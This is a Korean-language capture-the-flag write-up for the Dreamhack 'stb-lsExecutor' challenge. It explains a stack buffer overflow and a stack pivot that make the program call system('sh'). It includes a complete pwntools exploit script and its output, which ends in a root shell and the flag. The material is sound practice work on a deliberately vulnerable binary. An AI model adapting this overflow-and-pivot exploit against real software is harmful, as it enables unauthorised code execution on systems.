[dreamhack] stb-lsExecutor writeup

1. 문제

thumbnail
stb-lsExecutor

You can check the source code on Patchday Twitter
Please use ls to catch the flag!

https://dreamhack.io/wargame/challenges/809

2. 풀이


thumbnail
Spot The Bug Challenge

https://x.com/patchday_io/status/1640594634215944193

소스코드는 위에서 확인할 수 있다.

data에 먼저 60만큼 입력을 받고, data에 들어간 내용을 "ls -%s" 형태로 command에 저장한다. 이때 data60 + 4 = 64만큼 들어가므로 딱 맞는다. 그리고 sizecommand에 입력된 크기가 들어가고, 그뒤에 다시 command[size]부터 다시 70만큼 입력받는다. 그뒤에 system(command)가 실행된다.


스택 상태를 보면 아래와 같다.

변수명 위치
data rbp-0xb0
command rbp-0x70
size rbp-0x8
i rbp-0x4

여기서 만약 data에 64만큼 입력하고 command에 70만큼 입력하면 134만큼 입력되고, command에 지정된 0x70 = 112를 22바이트만큼 넘길 수 있다.

별개로 전역변수 sel에 2개 문자를 쓸 수 있고 sh 문자열을 입력해둔다. 그리고 stack pivot을 통해 스택의 위치를 sel 변수의 주변으로 변경한 후, system함수를 실행시키면 인자로 sel에 넣어둔 sh가 인자로 들어가면서 system("sh")을 실행할 수 있다.

   0x00000000004013cb <+164>:	lea    rax,[rbp-0x70]
   0x00000000004013cf <+168>:	mov    rdi,rax
   0x00000000004013d2 <+171>:	call   0x4010c0 <system@plt>

여기서 rbp-0x70에 들어가있는 문자열을 system함수의 인자로 쓰기 때문에, 리턴주소를 0x4013cb로 덮어주고 sfpsel + 0x70으로 덮어주면 스택 위치가 변경되면서 system("sh")를 실행할 수 있다.

그전에 먼저 9번의 for문을 돌아야 리턴주소로 가기 때문에 아무거나 입력하도록 for문을 돌려주자.

from pwn import *

p = process("./stb-lsExecutor")
p = remote("host3.dreamhack.games", 17104)
elf = ELF("./stb-lsExecutor")

for i in range(9):
    p.sendafter(b"Enter option : ", b"a")
    p.sendafter(b"Enter path : ", b"b")
    p.sendafter(b"\n", b"y")
    print(f"{i}th")


payload = b"b" * 48
payload += p64(0x404079 + 0x70)    # sel addr + 0x70
payload += p64(0x4013cb)    # system in main
p.sendafter(b"Enter option : ", b"a" * 60)
p.sendafter(b"Enter path : ", payload)
p.sendafter(b"\n", b"sh")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/STB-lsExecutor$ python3 e_stb-lsExcutor.py 
[+] Starting local process './stb-lsExecutor': pid 2792856
[+] Opening connection to host3.dreamhack.games on port 17104: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/STB-lsExecutor/stb-lsExecutor'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
0th
1th
2th
3th
4th
5th
6th
7th
8th
[*] Switching to interactive mode
..
bin
boot
dev
etc
flag
home
inputs
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
Again? y/n
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag
DH{TheVulnHideOn_Snprintf!}

bof 취약점은 쉽게 찾았는데 그 뒤에 어떻게 해야할지 헤매다가 또 stack pivot 문제였다… 자주나오는데 level2에서는 역시 기초를 잘 닦으라는 얘기로 이해해야겠다.

아무튼 해결~